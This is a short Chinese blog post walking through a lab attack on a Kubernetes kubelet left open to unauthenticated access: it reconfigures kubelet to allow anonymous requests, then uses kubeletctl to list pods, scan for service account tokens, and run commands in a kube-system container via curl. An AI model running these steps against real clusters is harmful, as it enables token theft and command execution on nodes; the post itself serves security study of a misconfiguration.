K8s攻击案例:kubelet未授权访问
kubelet会在集群中每个节点运行,对容器进行生命周期的管理,如果kubelet配置不当,攻击者可创建恶意Pod尝试逃逸到宿主机。
(1)攻击场景
anonymous默认为false,修改为true,并将mode从Webhook修改为AlwaysAllow。
vi /var/lib/kubelet/config.yaml
anonymous:
enabled: true
authorization:
mode: AlwayAllow
修改node节点配置,重启kubelet服务。
systemctl restart kubelet.service
访问kubelet 10250服务,出现未授权访问。
(2) 攻击过程
kubeletctl 是一个用于与kubelet API 交互的命令行工具,可以通过kubeletctl执行命令获取Node权限。从Node节点窃取高权限服务账户token,使用服务账户向API Server进行验证,从而获取集群权限。
wget https://github.com/cyberark/kubeletctl/releases/download/v1.11/kubeletctl_linux_amd64
chmod 777 kubeletctl_linux_amd64
mv ./kubeletctl_linux_amd64 kubeletctl
#列出kubelet的所有pod
./kubeletctl pods -i --server 192.168.44.136
#搜索容器里面的Service Account
./kubeletctl scan token -i --server 192.168.44.136
利用curl执行命令
curl -XPOST -k "https://192.168.44.136:10250/run/kube-system/kube-proxy-f57l8/kube-proxy" -d "cmd=id"
本文由Bypass整理发布,转载请保留出处。
欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 单元测试从入门到精通
· 上周热点回顾(3.3-3.9)
· winform 绘制太阳,地球,月球 运作规律
2019-01-02 迟来的2018年终总结